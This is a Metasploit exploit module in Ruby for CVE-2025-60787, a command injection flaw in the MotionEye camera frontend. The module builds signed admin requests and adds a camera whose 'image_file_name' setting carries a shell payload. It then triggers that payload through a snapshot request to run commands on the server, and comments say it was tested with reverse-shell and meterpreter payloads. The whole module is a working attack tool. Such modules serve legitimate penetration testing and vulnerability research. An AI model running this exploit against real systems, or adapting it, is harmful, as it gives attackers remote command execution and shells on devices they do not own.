Remote Code Execution Vulnerability in MotionEye Frontend (CVE-2025-60787)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Remote Code Execution Vulnerability in MotionEye Frontend (CVE-2025-60787)',
        'Description' => %q{
          This module exploits a template injection vulnerability in the MotionEye Frontend.

          MotionEye Frontend versions 0.43.1b4 and prior are vulnerable to OS Command Injection in configuration parameters such as image_file_name.
          Unsanitized user input is written to MotionEye Frontend configuration files, allowing remote authenticated attackers with admin access to achieve code execution.

          Successful exploitation will result in the command executing as the user running
          the web server, potentially exposing sensitive data or disrupting survey operations.

          An attacker can execute arbitrary system commands in the context of the user running the web server.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Maksim Rogov', # Metasploit Module
          'prabhatverma47' # Vulnerability Discovery
        ],
        'References' => [
          ['CVE', '2025-60787'],
          ['EDB', '52481'],
          ['URL', 'https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter']
        ],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                # In the Docker container from the official repository, only curl is available
                'FETCH_COMMAND' => 'CURL'
              }
              # Tested with cmd/unix/reverse_bash
              # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'Payload' => {
          'BadChars' => '&\\'
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-09-09',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to MotionEye', '/']),
        OptString.new('USERNAME', [true, 'The username used to authenticate to MotionEye', 'admin']),
        OptString.new('PASSWORD', [true, 'The password used to authenticate to MotionEye', ''])
      ]
    )
  end

  def clean_string(data)
    # Regex to match any character not allowed in the canonical string
    # The regular expression is taken from the MotionEye source code.
    # https://github.com/motioneye-project/motioneye/blob/b3ed73298554a1db1ea158c4bf6f2ec3a54ef5b9/motioneye/utils/__init__.py#L39
    signature_regex = %r{[^A-Za-z0-9/?_.=&{}\[\]":, -]}

    if data.nil?
      # Return empty string if input is nil
      return ''
    elsif data.is_a?(String)
      # Replace disallowed characters with '-' if input is already a string
      return data.gsub(signature_regex, '-')
    elsif data.respond_to?(:to_s)
      # Convert to string and replace disallowed characters if possible
      return data.to_s.gsub(signature_regex, '-')
    end

    # Return empty string for all other cases
    ''
  end

  # Compute a SHA1 signature for the request using method, path, body, and user key.
  def compute_signature(method, path, body = nil, key = '')
    # Parse the given path into URI components
    parsed_uri = URI.parse(path)

    # Get and parse query string (if present)
    query_string = parsed_uri.query
    query_params = query_string.nil? ? {} : CGI.parse(query_string)

    # Prepare query parameters for signing: take first values and remove the '_signature' field
    sig_query = query_params
                .transform_values(&:first)
                .reject { |k, _v| k == '_signature' }

    # Sort query arguments alphabetically
    sorted_query_items = sig_query.sort_by { |k, _v| k }

    # Encode parameters and join them into a query string
    query_components = sorted_query_items.map { |k, v| "#{k}=#{CGI.escape(v)}" }
    canonical_query = query_components.join('&')

    # Construct full canonical path with query
    canonical_path = parsed_uri.path
    canonical_path += "?#{canonical_query}" unless canonical_query.empty?

    # Clean up path and body before hashing
    cleaned_path = clean_string(canonical_path)
    cleaned_body = clean_string(body)

    key_hash = Digest::SHA1.hexdigest(key).downcase

    data = "#{method}:#{cleaned_path}:#{cleaned_body}:#{key_hash}"

    Digest::SHA1.hexdigest(data).downcase
  end

  def generate_timestamp_ms
    (Time.now.to_f * 1000).to_i
  end

  # For the server to accept a request, all requests must be signed.
  # This is a wrapper around the standard send_request_cgi function that adds the GET parameters _ (timestamp), username, and signature to the requests.
  def send_signed_request_cgi(opts = {})
    signature_key = datastore['PASSWORD']

    method = opts['method'] || 'GET'
    base_path = opts['uri']
    body = nil

    if method.upcase == 'POST'
      if opts['data']
        body = opts['data']
      elsif opts['vars_post']
        body = URI.encode_www_form(opts['vars_post'])
      end
    end

    vars_get = {
      '_username' => datastore['USERNAME'],
      '_' => generate_timestamp_ms
    }.merge!(opts.fetch('vars_get', {}))

    query_string = URI.encode_www_form(vars_get)

    path_with_query = query_string.empty? ? base_path : "#{base_path}?#{query_string}"

    signature = compute_signature(
      method,
      path_with_query,
      body,
      signature_key
    )

    new_opts = opts.dup
    new_opts['vars_get'] = vars_get
    new_opts['vars_get']['_signature'] = signature

    return send_request_cgi(new_opts)
  end

  def add_camera
    print_status('Adding malicious camera...')

    res = send_signed_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/config/add/'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => {
        'scheme' => 'rstp',
        'host' => Faker::Internet.ip_v4_address,
        'port' => '',
        'path' => '/',
        'username' => '',
        'proto' => 'netcam'
      }.to_json
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200")
    end

    json_body = res.get_json_document
    unless json_body
      fail_with(Failure::UnexpectedReply, 'Unable to parse the response')
    end

    unless json_body.key?('id')
      fail_with(Failure::UnexpectedReply, "#{peer} - Camera ID not found in response")
    end

    print_good('Camera successfully added')

    return json_body['id']
  end

  def set_exploit(camera_id)
    print_status('Setting up exploit...')

    camera_name = Rex::Text.rand_text_alphanumeric(4..16)
    res = send_signed_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/config/0/set/'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => {
        camera_id => {
          'enabled' => true,
          'name' => camera_name,
          'proto' => 'netcam',
          'auto_brightness' => false,
          'rotation' => [0, 90, 180, 270].sample,
          'framerate' => rand(2..30),
          'privacy_mask' => false,
          'storage_device' => 'custom-path',
          'network_server' => '',
          'network_share_name' => '',
          'network_smb_ver' => '1.0',
          'network_username' => '',
          'network_password' => '',
          'root_directory' => "/var/lib/motioneye/#{camera_name}",
          'upload_enabled' => false,
          'upload_picture' => false,
          'upload_movie' => false,
          'upload_service' => ['ftp', 'sftp', 'webdav'].sample,
          'upload_server' => '',
          'upload_port' => '',
          'upload_method' => ['post', 'put'].sample,
          'upload_location' => '',
          'upload_subfolders' => false,
          'upload_username' => '',
          'upload_password' => '',
          'upload_endpoint_url' => '',
          'upload_access_key' => '',
          'upload_secret_key' => '',
          'upload_bucket' => '',
          'clean_cloud_enabled' => false,
          'web_hook_storage_enabled' => false,
          'command_storage_enabled' => false,
          'text_overlay' => false,
          'text_scale' => rand(1..3),
          'video_streaming' => false,
          'streaming_framerate' => rand(5..30),
          'streaming_quality' => rand(50..95),
          'streaming_resolution' => rand(50..95),
          'streaming_server_resize' => false,
          'streaming_port' => '9081',
          'streaming_auth_mode' => 'disabled',
          'streaming_motion' => false,
          'still_images' => true,
          'image_file_name' => "$(#{payload.encoded})",
          'image_quality' => rand(50..95),
          'capture_mode' => 'manual',
          'preserve_pictures' => '0',
          'manual_snapshots' => true,
          'movies' => false,
          'movie_file_name' => '%Y-%m-%d/%H-%M-%S',
          'movie_quality' => rand(50..95),
          'movie_format' => 'mp4 => h264_v4l2m2m',
          'movie_passthrough' => false,
          'recording_mode' => 'motion-triggered',
          'max_movie_length' => '0',
          'preserve_movies' => '0',
          'motion_detection' => false,
          'frame_change_threshold' => "0.#{Rex::Text.rand_text_numeric(16)}",
          'max_frame_change_threshold' => rand(0..1),
          'auto_threshold_tuning' => false,
          'auto_noise_detect' => false,
          'noise_level' => rand(10..32),
          'light_switch_detect' => '0',
          'despeckle_filter' => false,
          'event_gap' => rand(5..30),
          'pre_capture' => rand(1..5),
          'post_capture' => rand(1..5),
          'minimum_motion_frames' => rand(20..30),
          'motion_mask' => false,
          'show_frame_changes' => false,
          'create_debug_media' => false,
          'email_notifications_enabled' => false,
          'telegram_notifications_enabled' => false,
          'web_hook_notifications_enabled' => false,
          'web_hook_end_notifications_enabled' => false,
          'command_notifications_enabled' => false,
          'command_end_notifications_enabled' => false,
          'working_schedule' => false,
          'resolution' => ['320x240', '640x480', '1280x720'].sample
        }
      }.to_json
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200")
    end

    print_good('Exploit setup complete')
  end

  def trigger_exploit(camera_id)
    print_status('Triggering exploit...')

    res = send_signed_request_cgi(
      'uri' => normalize_uri(target_uri.path, "/action/#{camera_id}/snapshot/"),
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => 'null'
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200")
    end

    print_good('Exploit triggered, waiting for session...')
  end

  def del_camera(camera_id)
    print_status('Removing camera')

    res = send_signed_request_cgi(
      'uri' => normalize_uri(target_uri.path, "/config/#{camera_id}/rem/"),
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => 'null'
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200")
    end

    print_good('Camera removed successfully')
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    )

    motion_version_span = res.get_html_document.at('tr.settings-item:has(td.settings-item-label span:contains("motionEye Version")) td.settings-item-value span.settings-item-label')
    motion_version = motion_version_span&.text&.strip

    if motion_version_span.nil? || motion_version.empty?
      fail_with(Failure::UnexpectedReply, "#{peer} Failed to find motionEye version on the page")
    end

    clear_version = motion_version.gsub(/[a-zA-Z]/, '')
    if clear_version < '0.43.15'
      return CheckCode::Appears("Detected version #{motion_version}, which is vulnerable")
    end

    return CheckCode::Detected("At the time of writing the module, no patch for this vulnerability exists. A newer version #{motion_version} has been found compared to the vulnerable releases; however, it is unclear whether the issue has been fixed. It is recommended to review the release notes")
  end

  def cleanup
    del_camera(@camera_id) unless @camera_id.nil?
    super
  end

  def exploit
    @camera_id = add_camera
    set_exploit(@camera_id)
    trigger_exploit(@camera_id)
  end
end